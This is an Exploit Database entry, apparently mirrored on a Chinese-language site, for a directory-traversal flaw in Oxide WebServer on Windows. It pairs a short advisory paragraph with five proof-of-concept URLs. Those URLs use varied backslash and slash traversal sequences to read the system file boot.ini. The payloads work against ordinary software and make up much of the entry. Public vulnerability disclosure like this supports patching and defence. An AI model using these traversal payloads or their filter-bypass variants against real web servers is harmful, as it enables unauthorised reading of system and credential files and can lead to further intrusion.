Oxide WebServer – Directory Traversal

• Exploit Database
• 11 阅读

• 作者： demonalex
  日期： 2011-11-29
• 类别：

  • remote
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/36376/

• source: https://www.securityfocus.com/bid/50845/info
  
  Oxide WebServer is prone to a directory-traversal vulnerability because it fails to sufficiently sanitize user-supplied input submitted to its web interface.
  
  Exploiting this issue will allow an attacker to view arbitrary files within the context of the webserver. Information harvested may aid in launching further attacks. 
  
  http://www.example.com/..\..\..\boot.ini
  http://www.example.com/..\\..\\..\\boot.ini
  http://www.example.com/..\/..\/..\/boot.ini
  http://www.example.com//..\/..\/..\boot.ini
  http://www.example.com/.\..\.\..\.\..\boot.ini